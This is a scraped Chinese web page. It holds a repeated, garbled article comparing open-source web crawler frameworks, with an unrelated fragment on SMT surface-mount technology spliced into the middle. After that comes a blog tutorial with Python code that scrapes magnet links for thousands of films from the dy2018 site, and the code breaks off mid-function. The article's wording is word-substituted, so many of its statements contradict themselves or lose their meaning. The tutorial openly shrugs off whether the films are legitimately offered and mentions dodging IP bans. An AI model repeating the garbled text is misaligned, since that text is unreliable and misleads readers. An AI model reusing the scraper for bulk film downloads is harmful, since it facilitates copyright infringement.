ScrapyScrapy是基于python語(yǔ)言開(kāi)發(fā)的爬蟲(chóng)框架,由于它的輕量化設計和簡(jiǎn)單易用,而廣泛遭到開(kāi)發(fā)者的歡迎。優(yōu)點(diǎn):簡(jiǎn)單易用:只需編撰爬取規則,剩下由scrapy完成易擴充:擴展性設計,支持插件,無(wú)需改動(dòng)核心代碼可移植性:基于Linux、Windows、Mac、BSD開(kāi)發(fā)和運行設計。缺點(diǎn):?jiǎn)螜C多線(xiàn)程實(shí)現,不支持分布式。數據儲存方案支持 Local fi lesystem、FTP、S3、Standard output,默認無(wú)分布式存儲解決方案默認中間過(guò)程網(wǎng)頁(yè)不會(huì )保存,只保存抽取結果。
  4.總結與展望本文首先介紹了URL鏈接庫、文檔內容模塊、文檔解析模塊等爬蟲(chóng)基礎概念,然后對比剖析了Nutch、Heritrix、Larbin、Scrapy等主流開(kāi)源爬蟲(chóng)框架。不同的爬蟲(chóng)開(kāi)源框架的實(shí)現語(yǔ)言和功能不同,適用的場(chǎng)景也不盡相同,需要在實(shí)際應用中選擇合適的開(kāi)源爬蟲(chóng)框架。參考文獻[1]劉瑋瑋.搜索引擎中主題爬蟲(chóng)的研究與實(shí)現[D].南京理工大學(xué),2006.[2]詹恒飛,楊岳湘,方宏.Nutch分布式網(wǎng)路爬蟲(chóng)研究與優(yōu)化[J].計算機科學(xué)與探求,2011,5(01):68-74.[3]安子建.基于Scrapy框架的網(wǎng)路爬蟲(chóng)實(shí)現與數據抓取剖析[D].吉林大學(xué),2017.[4]周立柱,林玲.聚焦爬蟲(chóng)技術(shù)研究綜述[J].計算機應用,2005(09):1965-1969.[5]楊定中,趙剛,王泰.網(wǎng)絡(luò )爬蟲(chóng)在Web信息搜索與數據挖掘中應用[J].計算機工程與設計,2009,30(24):5658-5662.萬(wàn)方數據 查看全部

   65 ELECTRONICS WORLD 探求與觀(guān)察(下轉第67頁(yè))主流開(kāi)源爬蟲(chóng)框架比較與剖析北京工商大學(xué) 劉 雯【摘要】網(wǎng)絡(luò )爬蟲(chóng)是搜索引擎與信息檢索的基礎工具,在信息采集、信息過(guò)濾等場(chǎng)景中有著(zhù)廣泛的應用。本文首先介紹了URL鏈接庫、文檔內容模塊、文檔解析模塊等爬蟲(chóng)基礎概念,然后對比剖析了Nutch、Heritrix、Larbin、Scrapy等主流開(kāi)源爬蟲(chóng)框架?!?a href="http://www.hqbet6457.com/caiji/public_dict/" target="_blank">關(guān)鍵詞】網(wǎng)絡(luò )爬蟲(chóng);數據采集;搜索引擎1.引言近些年來(lái),隨著(zhù)互聯(lián)網(wǎng)的高速發(fā)展,網(wǎng)絡(luò )中的數據呈現出了爆炸式的下降,如何搜集整合這種數據并從中提取出有效的信息,引發(fā)了多方面的挑戰。面對這種挑戰,爬蟲(chóng)技術(shù)得到了充分的注重。開(kāi)源網(wǎng)路爬蟲(chóng)框架促使爬蟲(chóng)的開(kāi)發(fā)與應用變的高效方便。各個(gè)開(kāi)源爬蟲(chóng)框架的實(shí)現語(yǔ)言與功能不完全相同,適用場(chǎng)景也不盡相同,需要對比不同開(kāi)源爬蟲(chóng)框架之間的好壞。2.爬蟲(chóng)的相關(guān)概念網(wǎng)路爬蟲(chóng)是用于互聯(lián)網(wǎng)采集的一種工具,通常又被稱(chēng)為網(wǎng)路機器人。在數據挖掘、信息檢索等領(lǐng)域,網(wǎng)絡(luò )爬蟲(chóng)被廣泛使用,從而獲取最原始的數據。網(wǎng)絡(luò )爬蟲(chóng)也是信息檢索和搜索引擎的重要組成部份,通過(guò)網(wǎng)路爬蟲(chóng)采集到的信息,經(jīng)過(guò)搜索引擎的整合,可以更好的用于檢索。
  2.1 網(wǎng)路爬蟲(chóng)的組成部分主流爬蟲(chóng)框架一般由以下部份組成:1. 種子URL庫:URL用于定位互聯(lián)網(wǎng)中的各種資源,如最常見(jiàn)的網(wǎng)頁(yè)鏈接,還有常見(jiàn)的文件資源、流媒體資源等。種子URL庫作為網(wǎng)絡(luò )爬蟲(chóng)的入口,標識出爬蟲(chóng)應當從何處開(kāi)始運行,指明了數據來(lái)源。2.數據下載器:針對不同的數據種類(lèi),需要不同的下載形式。主流爬蟲(chóng)框架通暢提供多種數據下載器,用來(lái)下載不同的資源,如靜態(tài)網(wǎng)頁(yè)下載器、動(dòng)態(tài)網(wǎng)頁(yè)下載器、FTP下載器等。3.過(guò)濾器:對于早已爬取的URL,智能的爬蟲(chóng)須要對其進(jìn)行過(guò)濾,以提升爬蟲(chóng)的整體效率。常用的過(guò)濾器有基于集合的過(guò)濾器、基于布隆過(guò)濾的過(guò)濾器等。4.流程調度器:合理的調度爬取流程,也可以提升爬蟲(chóng)的整體效率。在流程調度器中,通常提供深度優(yōu)先爬取、廣度優(yōu)先爬取、訂制爬取等爬取策略。同時(shí)提供單線(xiàn)程、多線(xiàn)程等多種爬取方法。2.2 網(wǎng)絡(luò )爬蟲(chóng)的爬取策略網(wǎng)路爬蟲(chóng)的爬取策略,可以更高效的組織爬蟲(chóng)的爬取過(guò)程。常見(jiàn)的爬取策略包括深度優(yōu)先爬取、深度優(yōu)先爬取、訂制爬取等策略等。1.深度優(yōu)先爬?。涸摬呗栽谂廊∶课籙RL資源后,會(huì )隨機爬取改URL對應的所有子URL資源,直到全部子URL資源全部爬取完畢,再爬取下一個(gè)URL資源。
  深度優(yōu)先爬取更關(guān)注數據的深度,希望通過(guò)爬取更多的子URL資源,來(lái)獲取更深層次的數據。2.廣度優(yōu)先爬?。涸摬呗栽谂廊∨鋫€(gè)URL資源時(shí),會(huì )繼續爬取同層次的其他URL資源,當本層的URL資源都被爬取完畢后,再爬取下一次URL資源。廣度優(yōu)先爬取更關(guān)注數據的廣度,這樣可以囊括更全面的數據。3.訂制爬?。涸俸枚鄨?chǎng)景中,深度優(yōu)先爬取或廣度優(yōu)先爬取未能滿(mǎn)足復雜的數據采集需求,此時(shí)須要定制爬取策略,如垂直搜索策略,先通過(guò)制訂關(guān)鍵詞進(jìn)行搜索后開(kāi)源爬蟲(chóng)框架,再結合深度優(yōu)先爬取或廣度優(yōu)先爬取,才可以獲取到垂直領(lǐng)域的特定數據。2.3 爬蟲(chóng)的增量爬取從數據的角度看,有些爬蟲(chóng)只進(jìn)行單次的爬取操作,而有些爬蟲(chóng)須要進(jìn)行增量爬取,用來(lái)積累數據。對于單次爬取的網(wǎng)路爬蟲(chóng),實(shí)現較為簡(jiǎn)單,因為不用考慮過(guò)濾去重等操作,所以模塊相對較少。單次爬取的爬蟲(chóng)主要考慮爬取的效率,有時(shí)會(huì )通過(guò)多線(xiàn)程或多進(jìn)程等形式提升爬取效率。對于須要增量爬取的網(wǎng)路爬蟲(chóng)。通常須要對URL鏈接、資源內容等進(jìn)行過(guò)濾和去重。每次爬取的時(shí)侯,需要對比數據是否重復,并將早已爬取過(guò)的內容過(guò)濾掉,從而降低冗余數據的爬取和儲存。實(shí)際應用中,增量爬蟲(chóng)的使用較為廣泛。3.主流開(kāi)源爬蟲(chóng)框架爬蟲(chóng)技術(shù)發(fā)展至今,已經(jīng)非常成熟,同時(shí)也形成了好多開(kāi)源的爬蟲(chóng)框架,入Nutch、Heritrix、Larbin、Scrapy,這些開(kāi)源框架的實(shí)現語(yǔ)言與功能各不相同,以下是這幾款開(kāi)源爬蟲(chóng)框架的比較與剖析。
  3.1 NutchNutch是一個(gè)比較小型的開(kāi)源框架,也是隸屬于A(yíng)pache基金會(huì )的一個(gè)開(kāi)源項目。Nutch最初服務(wù)于Lucene項目,Lucene是一個(gè)完整的搜索引擎框架,其中Nutch提供數據爬取服務(wù)。因為L(cháng)ucene是一個(gè)通用的搜索引擎框架,所以Nutch在設計之初也主要用于通用數據的爬取。在滿(mǎn)足通用需求的同時(shí),Nutch犧牲了一些多樣化開(kāi)發(fā)的特點(diǎn)。優(yōu)點(diǎn):Nutch適用于各類(lèi)規模的爬取任務(wù),底層可以和Hadoop平臺對接,提供分布式的爬取功能,同時(shí)支持分布式的調度及分布式的儲存。為了擴充各種多樣化功能,Nutch設計了插件框架,可以通過(guò)添加插件,來(lái)實(shí)現愈發(fā)復雜的爬取功能。缺點(diǎn):雖然有插件框架,但是Nutch的多樣化開(kāi)發(fā)成本仍然較高。 在使用默認的配置過(guò)濾文件是,是不抓取動(dòng)態(tài)網(wǎng)頁(yè)的,要想爬取動(dòng)態(tài)網(wǎng)頁(yè)須要更改過(guò)濾規則。3.2 HeritrixHeritrix是基于Java語(yǔ)言的爬蟲(chóng)框架,因其可擴展型和豐富的各種組件而聞名。但配置相對繁雜,所以學(xué)習成本過(guò)高。Heritrix提供了多種下載器,用于下載網(wǎng)頁(yè)、流媒體等多種類(lèi)型的數據。Heritrix還提供了圖形界面拿來(lái)管理爬蟲(chóng),可以通過(guò)網(wǎng)頁(yè)來(lái)啟動(dòng)貨控制各種爬蟲(chóng)。
  優(yōu)點(diǎn):Heritrix的爬蟲(chóng)訂制參數多包括,可設置輸出日志、可設置多線(xiàn)程采集模式、可設置下載速率上限等 開(kāi)發(fā)者可以通過(guò)更改組件的參數,來(lái)高效的更改爬蟲(chóng)功能 。缺點(diǎn):Heritrix很難實(shí)現分布式爬取,因為多個(gè)單獨爬蟲(chóng)之間,無(wú)法合作完成爬取任務(wù),可擴展性較差。在爬取失敗時(shí),也缺少重萬(wàn)方數據 67 ELECTRONICS WORLD 探求與觀(guān)察工作臺處于清潔的狀態(tài),并監督工作人員防靜電腕帶的配戴情況,且使用的鉗子須要具有防靜電的功能,或者在取料的時(shí)侯利用真空吸筆完成,放置靜電在元器件于手接觸時(shí)形成,第四,定期對相關(guān)設施進(jìn)行防靜電測試處理 [6] 。二、SMT表面貼裝技術(shù)的發(fā)展趨勢近些年來(lái),我國科學(xué)技術(shù)水平在社會(huì )經(jīng)濟快速發(fā)展的影響下得到了迅猛發(fā)展,表面貼裝技術(shù)在此背景下也獲得了寬廣的發(fā)展空間,并將會(huì )以小型化、精細化的方向不斷發(fā)展。針對SMT表面貼裝技術(shù)的發(fā)展趨勢進(jìn)行剖析可以發(fā)覺(jué),在未來(lái)的發(fā)展過(guò)程中,將會(huì )大幅度縮小SDC/SMD的容積,并其而不斷擴大其生產(chǎn)數目,就現階段表面貼裝技術(shù)的發(fā)展現況而言,將0603以及1005型表面貼膜式電容和內阻商品化的目的已然實(shí)現。同時(shí),集成電路的發(fā)展方向將會(huì )是小型化和STM化,現階段,市場(chǎng)上早已出現了腿寬度為0.3mm的IC業(yè),其發(fā)展方向將是BGA。
  此外,焊接技術(shù)也將會(huì )逐步趨向成熟階段,惰性氣體于1994年便早已被點(diǎn)焊設備廠(chǎng)家制造下來(lái)以滿(mǎn)足回流焊以及波峰焊的需求。與此同時(shí)免清洗工業(yè)也涌現下來(lái)但是應用非常廣泛。最后,測試設備以及貼片設備的效率將會(huì )大幅度提高,且靈活性也會(huì )不斷增強。目前,在使用SMT技術(shù)的時(shí)侯,其貼片速率大概在5500片/h左右,通過(guò)使用高柔化和智能化的貼片系統促使制造商的生產(chǎn)成品被大幅度增加,進(jìn)而促使生產(chǎn)效率以及精度的提高,并且豐富了貼片的功能 [7] 。三、結束語(yǔ)與傳統的THT而言,SMT的優(yōu)勢主要表現在其性能好、組裝密度高以及體積小和可靠性強等方面,受到其上述優(yōu)勢的影響,現階段電子設備以及電子產(chǎn)品的裝配技術(shù)均以SMT為主,并且在電子產(chǎn)品的生產(chǎn)制造領(lǐng)域得到廣泛應用。盡管在實(shí)際應用的時(shí)侯,SMT仍然表現出一些不足之處,但是與其所發(fā)揮的正面影響對比,這些不足并不影響該技術(shù)應用價(jià)值。所以,需要加強SMT技術(shù)的宣傳力度,促進(jìn)其應用可以覆蓋更多領(lǐng)域。與此同時(shí),還須要加到對該技術(shù)的研究力度,對其各項工藝流程給以建立,促進(jìn)其所用得到充分發(fā)揮,繼而有助于電子產(chǎn)品工藝制程清潔化、裝備模塊化、生產(chǎn)集成化和自動(dòng)化的愿景盡快實(shí)現,為電子行業(yè)的可持續發(fā)展提供可靠保障。
  參考文獻[1] 楊柳.SMT表面貼裝技術(shù)工藝應用實(shí)踐[J].科研,2016(8):00079-00079.[2]孫丹妮,周娟,耿豪凱,等.累積和與指數加權移動(dòng)平均控制圖在表面貼裝技術(shù)中的應用及仿真[J].機械制造,2017,55(3):77-80.[3]朱飛飛.談電子工業(yè)中SMT技術(shù)的工藝研究和發(fā)展趨勢[J].科研,2016(8):00286-00286.[4] 高文璇.Protel DXP技術(shù)與SMT技術(shù)在現今電子產(chǎn)業(yè)中的應用[J].電子世 界,2014(6):95-95.[5]王婷,方子正.SMD型表面貼裝元件殼體生產(chǎn)中技術(shù)難點(diǎn)和解決舉措[J].工程技術(shù):全文版,2016(7):00253-00253.[6]周超.闡述SMT表面貼裝技術(shù)工藝應用與發(fā)展趨勢[J].科研,2016(12):00008-00008.[7]李金明.電子工業(yè)中SMT技術(shù)工藝研究及發(fā)展趨勢[J].電子技術(shù)與軟件工程,2016(13):139-139.(上接第65頁(yè))試等機制,導致開(kāi)發(fā)者須要做好多額外工作來(lái)填補那些設計上的缺位。不同于Nutch框架開(kāi)源爬蟲(chóng)框架,僅憑Heritrix不能完成搜索引擎的全部工作,而只能完成爬蟲(chóng)階段的爬取工作。
  3.3 LarbinLarbin是一個(gè)基于C++語(yǔ)言的爬蟲(chóng)框架。Larbin提供了相對簡(jiǎn)單單非常易用的爬蟲(chóng)功能。單機Larbin爬蟲(chóng)可以每晚獲取百萬(wàn)量級的網(wǎng)頁(yè)。單Larbin不提供網(wǎng)頁(yè)解析服務(wù),也不考慮內容的儲存及處理。如果象使用Larbin進(jìn)行小型系統的實(shí)現,則須要自行開(kāi)發(fā)相應的其他組件。優(yōu)點(diǎn):指定入口URL后,可以手動(dòng)擴充,甚至整個(gè)網(wǎng)站鏡像;支持通過(guò)后綴名對抓取網(wǎng)頁(yè)進(jìn)行過(guò)濾;只保存原始網(wǎng)頁(yè);利用C++開(kāi)發(fā),非常高效。缺點(diǎn):只有網(wǎng)頁(yè)下載器,而沒(méi)有網(wǎng)頁(yè)解析器。不支持分布式爬取。沒(méi)有手動(dòng)重試功能。該項目在2003年后停止開(kāi)發(fā)維護。 3.4 ScrapyScrapy是基于python語(yǔ)言開(kāi)發(fā)的爬蟲(chóng)框架,由于它的輕量化設計和簡(jiǎn)單易用,而廣泛遭到開(kāi)發(fā)者的歡迎。優(yōu)點(diǎn):簡(jiǎn)單易用:只需編撰爬取規則,剩下由scrapy完成易擴充:擴展性設計,支持插件,無(wú)需改動(dòng)核心代碼可移植性:基于Linux、Windows、Mac、BSD開(kāi)發(fā)和運行設計。缺點(diǎn):?jiǎn)螜C多線(xiàn)程實(shí)現,不支持分布式。數據儲存方案支持 Local fi lesystem、FTP、S3、Standard output,默認無(wú)分布式存儲解決方案默認中間過(guò)程網(wǎng)頁(yè)不會(huì )保存,只保存抽取結果。
  4.總結與展望本文首先介紹了URL鏈接庫、文檔內容模塊、文檔解析模塊等爬蟲(chóng)基礎概念,然后對比剖析了Nutch、Heritrix、Larbin、Scrapy等主流開(kāi)源爬蟲(chóng)框架。不同的爬蟲(chóng)開(kāi)源框架的實(shí)現語(yǔ)言和功能不同,適用的場(chǎng)景也不盡相同,需要在實(shí)際應用中選擇合適的開(kāi)源爬蟲(chóng)框架。參考文獻[1]劉瑋瑋.搜索引擎中主題爬蟲(chóng)的研究與實(shí)現[D].南京理工大學(xué),2006.[2]詹恒飛,楊岳湘,方宏.Nutch分布式網(wǎng)路爬蟲(chóng)研究與優(yōu)化[J].計算機科學(xué)與探求,2011,5(01):68-74.[3]安子建.基于Scrapy框架的網(wǎng)路爬蟲(chóng)實(shí)現與數據抓取剖析[D].吉林大學(xué),2017.[4]周立柱,林玲.聚焦爬蟲(chóng)技術(shù)研究綜述[J].計算機應用,2005(09):1965-1969.[5]楊定中,趙剛,王泰.網(wǎng)絡(luò )爬蟲(chóng)在Web信息搜索與數據挖掘中應用[J].計算機工程與設計,2009,30(24):5658-5662.萬(wàn)方數據

Python 網(wǎng)絡(luò )爬蟲(chóng)實(shí)戰:爬取并下載《電影天堂》3千多部動(dòng)作片影片

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 1524 次瀏覽 ? 2020-07-03 08:00 ? 來(lái)自相關(guān)話(huà)題

  不知不覺(jué),玩爬蟲(chóng)玩了一個(gè)多月了。
  我更加認為,爬蟲(chóng)似乎并不是哪些非常深奧的技術(shù),它的價(jià)值不在于你使用了哪些非常牛的框架,用了多么了不起的技術(shù),它不需要。它只是以一種自動(dòng)化收集數據的小工具,能夠獲取到想要的數據,就是它最大的價(jià)值。
  我的爬蟲(chóng)課老師也常跟我們指出,學(xué)習爬蟲(chóng)最重要的,不是學(xué)習上面的技術(shù),因為后端技術(shù)在不斷的發(fā)展,爬蟲(chóng)的技術(shù)便會(huì )隨著(zhù)改變。學(xué)習爬蟲(chóng)最重要的是,學(xué)習它的原理,萬(wàn)變不距其宗。
  爬蟲(chóng)說(shuō)白了是為了解決須要,方便生活的。如果還能在日常生活中,想到并應用爬蟲(chóng)去解決實(shí)際的問(wèn)題,那么爬蟲(chóng)的真正意義也久發(fā)揮下來(lái)了。
  這是些閑談啦,有感而發(fā)而已。
  最近有點(diǎn)片荒,不知道該看哪些影片,而且有些影片在網(wǎng)上找很久也找不到資源。后來(lái)我了解到這個(gè)網(wǎng)站,發(fā)現近來(lái)好多不錯的影片里面都有資源(這里我就先不管它的來(lái)源正不正規啦,#掩面)。
  所以此次我們要爬取的網(wǎng)站是:《電影天堂》,屯一些影片,等無(wú)趣的時(shí)侯拿出來(lái)瞧瞧,消遣閑暇也是不錯。
  
  這次的網(wǎng)站,從爬蟲(chóng)的技術(shù)角度上來(lái)講,難度不大,而且可以說(shuō)是十分簡(jiǎn)單了。但是,它實(shí)用??!你想嘛,早上下班前跑一下爬蟲(chóng),晚上回去之后早已有幾十部最新大片在你硬碟里等著(zhù)你啦,累了三天躺床上瞧瞧影片,這種覺(jué)得是不是太爽啊。
  而且正由于這個(gè)爬蟲(chóng)比較簡(jiǎn)單,所以我會(huì )寫(xiě)的稍為細一點(diǎn),爭取使 python 小白們也能盡可能讀懂,并且還能在這個(gè)爬蟲(chóng)的基礎上更改,得到爬取這個(gè)網(wǎng)站其他藍籌股或則其他影片網(wǎng)站的爬蟲(chóng)。
  在編撰爬蟲(chóng)程序之前,我先捋一捋我們的思路。
  爬蟲(chóng)的原理,是通過(guò)給定的一個(gè)URL(就是類(lèi)似于 這樣的,俗稱(chēng)網(wǎng)址的東東) 請求,去訪(fǎng)問(wèn)一個(gè)網(wǎng)頁(yè),獲取哪個(gè)網(wǎng)頁(yè)上的源代碼(不知道源代碼的,隨便打開(kāi)一個(gè)網(wǎng)頁(yè),右鍵,查看網(wǎng)頁(yè)源代碼,出來(lái)的一大堆象亂碼一樣的東西就是網(wǎng)頁(yè)源代碼,我們須要的數據就藏在這種源代碼上面)并返回來(lái)。然后,通過(guò)一些手段(比如說(shuō)json庫,BeautifulSoup庫,正則表達式等)從網(wǎng)頁(yè)源代碼中篩選出我們想要的數據(當然,前提是我們須要剖析網(wǎng)頁(yè)結構,知道自己想要哪些數據,以及那些數據儲存在網(wǎng)頁(yè)的哪里網(wǎng)絡(luò )爬蟲(chóng)下載,存放的位置有哪些特點(diǎn)等)。最后,將我們獲取到的數據根據一定的格式,存儲到本地或則數據庫中,這樣就完成了爬蟲(chóng)的全部工作。
  當然,也有一些 「騷操作」,如果你嫌爬蟲(chóng)效率低,可以開(kāi)多線(xiàn)程(就是相當于幾十只爬蟲(chóng)同時(shí)給你爬,效率直接翻了幾十倍);如果害怕爬取頻度過(guò)低被網(wǎng)站封 IP,可以?huà)?IP 代理(相當于打幾槍換個(gè)地方,對方網(wǎng)站就不知道你到底是爬蟲(chóng)還是正常訪(fǎng)問(wèn)的用戶(hù)了);如果對方網(wǎng)站有反爬機制,那么也有一些騷操作可以繞開(kāi)反爬機制(有點(diǎn)黑客攻守的覺(jué)得,有木有?。?。這些都是后話(huà)了。
  1. 分析網(wǎng)頁(yè)的 URL 的組成結構
  首先,我們須要剖析網(wǎng)頁(yè)的 URL 的組成結構,主要關(guān)注兩方面,一是怎樣切換選擇的影片類(lèi)型,二是網(wǎng)頁(yè)怎么翻頁(yè)的。
  電影類(lèi)型
  網(wǎng)址
  劇情片
  喜劇片
  動(dòng)作片
  愛(ài)情片
  科幻片
  動(dòng)畫(huà)片
  懸疑片
  驚悚片
  恐怖片
  記錄片
  ......
  ......
  災難片
  武俠片
  古裝片
  發(fā)現規律了吧,以后假如想爬其他類(lèi)型的影片,只要改變 url 中的數字即可,甚至你可以寫(xiě)一個(gè)循環(huán),把所有藍籌股中的影片全部爬取出來(lái)。
  頁(yè)碼
  URL
  第一頁(yè)
  第二頁(yè)
  第三頁(yè)
  第四頁(yè)
  除了第一頁(yè)是 「index」外,其余頁(yè)腳均是 「index_頁(yè)碼」的方式。
  所以我們基本把握了網(wǎng)站的 url 的構成方式,這樣我們就可以通過(guò)自己構造 url 來(lái)訪(fǎng)問(wèn)任意類(lèi)型影片的任意一頁(yè)了,是不是太酷。
  2. 分析網(wǎng)站的頁(yè)面結構
  其次,我們剖析一下網(wǎng)站的頁(yè)面結構,看一看我們須要的信息都藏在網(wǎng)頁(yè)的哪些地方(在這之前我們先要明晰一下我們須要什么數據),由于我們這個(gè)目的是下載影片,所以對我有用的數據只有兩個(gè),電影名稱(chēng)和下載影片的磁力鏈接。
  按 F12 召喚出開(kāi)發(fā)者工具(這個(gè)工具可以幫助你快速定位網(wǎng)頁(yè)中的元素在 html 源代碼中位置)。
  
  然后,我們可以發(fā)覺(jué),電影列表中,每一部影片的信息儲存在一個(gè) &lt;table&gt; 標簽里,而影片的名子,就藏在上面的一個(gè) &lt;a&gt; 標簽中。電影下載的磁力鏈接在影片的詳情頁(yè)面,而影片詳情頁(yè)面的網(wǎng)址也在這個(gè)&lt;a&gt; 標簽中( href 屬性的值)。
  
  而下載的磁力鏈接,存放在 &lt;tbody&gt; 標簽下的 &lt;a&gt; 標簽中,是不是太好找??!
  最后我們來(lái)縷一縷思路,一會(huì )兒我們打算這樣操作:通過(guò)上面的網(wǎng)址的構造規則,訪(fǎng)問(wèn)到網(wǎng)站的某一頁(yè),然后獲取到這個(gè)頁(yè)面里的所有 table 標簽(這里儲存著(zhù)影片的數據),然后從每一個(gè) table 標簽中找到存有影片名稱(chēng)的 a 標簽(這里可以領(lǐng)到影片名稱(chēng)以及詳情頁(yè)面的網(wǎng)址),然后通過(guò)這兒獲取的網(wǎng)址訪(fǎng)問(wèn)影片的詳情頁(yè)面,在詳情頁(yè)面選購出 &lt;tbody&gt; 標簽下的 &lt;a&gt; 標簽(這里儲存著(zhù)影片的下載鏈接),這樣我們就找到了我們所須要的全部數據了,是不是很簡(jiǎn)單啊。
  爬蟲(chóng)的程序,我通常習慣把它分成五個(gè)部份, 一是主函數,作為程序的入口,二是爬蟲(chóng)調度器,三是網(wǎng)路懇求函數,四是網(wǎng)頁(yè)解析函數,五是數據儲存函數。
  
# 我們用到的庫
import requests
import bs4
import re
import pandas as pd
  1.網(wǎng)絡(luò )懇求函數 :get_data (url)
  負責訪(fǎng)問(wèn)指定的 url 網(wǎng)頁(yè),并將網(wǎng)頁(yè)的內容返回,此部份功能比較簡(jiǎn)單固定,一般不需要做更改(除非你要掛代理,或者自定義懇求頭等,可以做一些相應的調整)。
  
def get_data(url):
'''
功能:訪(fǎng)問(wèn) url 的網(wǎng)頁(yè),獲取網(wǎng)頁(yè)內容并返回
參數:
url :目標網(wǎng)頁(yè)的 url
返回:目標網(wǎng)頁(yè)的 html 內容
'''
headers = {
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36',
}

try:
r = requests.get(url, headers=headers)
r.raise_for_status()
return r.text

except requests.HTTPError as e:
print(e)
print("HTTPError")
except requests.RequestException as e:
print(e)
except:
print("Unknown Error !")
  2.網(wǎng)頁(yè)解析函數:parse_data(html)
  這個(gè)函數是整個(gè)爬蟲(chóng)程序的核心所在,整體思路在上一部分早已講過(guò)了。我這兒使用的庫是BeautifulSoup。
  這部份的寫(xiě)法多種多樣,有很多發(fā)揮的空間,也沒(méi)有哪些太多固定的模式,因為這部份的寫(xiě)法是要隨著(zhù)不同網(wǎng)站的頁(yè)面結構來(lái)做調整的,比如說(shuō)有的網(wǎng)站提供了數據的 api 接口,那么返回的數據就是 json 格式,我們只須要調用 json 庫就可以完成數據解析,而大部分的網(wǎng)站只能通過(guò)從網(wǎng)頁(yè)源代碼中一層層篩選(篩選手段也多種多樣,什么正則表達式,beautifulsoup等等)。
  這里須要依照數據的方式來(lái)選擇不同的篩選策略,所以,知道原理就可以了,習慣哪些方式就用哪些方式,反正最后能領(lǐng)到數據就好了。
  
def parse_data(html):
'''
功能:提取 html 頁(yè)面信息中的關(guān)鍵信息,并整合一個(gè)數組并返回
參數:html 根據 url 獲取到的網(wǎng)頁(yè)內容
返回:存儲有 html 中提取出的關(guān)鍵信息的數組
'''
bsobj = bs4.BeautifulSoup(html,'html.parser')
info = []

# 獲取電影列表
tbList = bsobj.find_all('table', attrs = {'class': 'tbspan'})

# 對電影列表中的每一部電影單獨處理
for item in tbList:
movie = []
link = item.b.find_all('a')[1]
# 獲取電影的名稱(chēng)
name = link["title"]
# 獲取詳情頁(yè)面的 url
url = 'https://www.dy2018.com' + link["href"]
# 將數據存放到電影信息列表里
movie.append(name)
movie.append(url)

try:
# 訪(fǎng)問(wèn)電影的詳情頁(yè)面,查找電影下載的磁力鏈接
temp = bs4.BeautifulSoup(get_data(url),'html.parser')
tbody = temp.find_all('tbody')

# 下載鏈接有多個(gè)(也可能沒(méi)有),這里將所有鏈接都放進(jìn)來(lái)
for i in tbody:
download = i.a.text
movie.append(download)

#print(movie)
# 將此電影的信息加入到電影列表中
info.append(movie)

except Exception as e:
print(e)

return info
  3. 數據儲存函數:save_data(data)
  這個(gè)函數目的是將數據儲存到本地文件或數據庫中,具體的寫(xiě)法要按照實(shí)際須要的儲存方式來(lái)定,我這兒是將數據儲存在本地的 csv 文件中。
  當然這個(gè)函數也并不只能做這些事兒,比如你可以在這里寫(xiě)一些簡(jiǎn)單的數據處理的操作,比如說(shuō):數據清洗,數據去重等操作。
  
def save_data(data):
'''
功能:將 data 中的信息輸出到文件中/或數據庫中。
參數:data 將要保存的數據
'''
filename = 'Data/電影天堂/動(dòng)作片.csv'

dataframe = pd.DataFrame(data)
dataframe.to_csv(filename, mode='a', index=False, sep=',', header=False)
  4. 爬蟲(chóng)調度器:main()
  這個(gè)函數負責按照 url 生成規則,構造新的 url 請求,然后依次調用網(wǎng)路懇求函數,網(wǎng)頁(yè)解析函數,數據儲存函數,爬取并保存該頁(yè)數據。
  所謂爬蟲(chóng)調度器,就是控制爬蟲(chóng)哪些時(shí)侯開(kāi)始爬,多少只爬蟲(chóng)一起爬,爬那個(gè)網(wǎng)頁(yè),爬多久休息一次,等等這種事兒。
  
def main():
# 循環(huán)爬取多頁(yè)數據
for page in range(1, 114):
print('正在爬?。旱? + str(page) + '頁(yè)......')
# 根據之前分析的 URL 的組成結構,構造新的 url
if page == 1:
index = 'index'
else:
index = 'index_' + str(page)
url = 'https://www.dy2018.com/2/'+ index +'.html'
# 依次調用網(wǎng)絡(luò )請求函數,網(wǎng)頁(yè)解析函數,數據存儲函數,爬取并保存該頁(yè)數據
html = get_data(url)
movies = parse_data(html)
save_data(movies)

print('第' + str(page) + '頁(yè)完成!')
  5. 主函數:程序入口
  主函數作為程序的入口,只負責啟動(dòng)爬蟲(chóng)調度器。
  這里我通常習慣在 main() 函數前后輸出一條句子,以此判定爬蟲(chóng)程序是否正常啟動(dòng)和結束。
  
if __name__ == '__main__':
print('爬蟲(chóng)啟動(dòng)成功!')
main()
print('爬蟲(chóng)執行完畢!')
  運行了兩個(gè)小時(shí)左右吧,終于爬完了 113 頁(yè),共 3346 部動(dòng)作片影片的數據(本來(lái)不止這種的,但是有一些影片沒(méi)有提供下載鏈接,我在 excel 中排序后直接自動(dòng)剔除了)。
  
  
  然后想看哪些影片的話(huà),直接復制這種影片下載的磁力鏈接,到迅雷上面下載就好啦。
  1. 在網(wǎng)站提供的下載鏈接中,我試了一下,發(fā)現magnet 開(kāi)頭的這類(lèi)鏈接置于迅雷中可以直接下載,而 ftp 開(kāi)頭的鏈接在迅雷中總顯示資源獲取失?。ㄎ也恢朗遣皇俏掖蜷_(kāi)的形式不對,反正就是下載不來(lái)),于是我對程序做了一些小的調整,使其只獲取magnet 這類(lèi)的鏈接。
  修改的方法也很簡(jiǎn)單,只須要調整 網(wǎng)頁(yè)解析函數 即可(爬蟲(chóng)的五個(gè)部份是相對獨立的,修改時(shí)只需調整相應的模塊即可,其余部份無(wú)需更改)。
  
def parse_data(html):
'''
功能:提取 html 頁(yè)面信息中的關(guān)鍵信息,并整合一個(gè)數組并返回
參數:html 根據 url 獲取到的網(wǎng)頁(yè)內容
返回:存儲有 html 中提取出的關(guān)鍵信息的數組
'''
bsobj = bs4.BeautifulSoup(html,'html.parser')
info = []

# 獲取表頭信息
tbList = bsobj.find_all('table', attrs = {'class': 'tbspan'})

for item in tbList:
movie = []
link = item.b.find_all('a')[1]
name = link["title"]
url = 'https://www.dy2018.com' + link["href"]

try:
# 查找電影下載的磁力鏈接
temp = bs4.BeautifulSoup(get_data(url),'html.parser')
tbody = temp.find_all('tbody')

for i in tbody:
download = i.a.text
if 'magnet:?xt=urn:btih' in download:
movie.append(name)
movie.append(url)
movie.append(download)
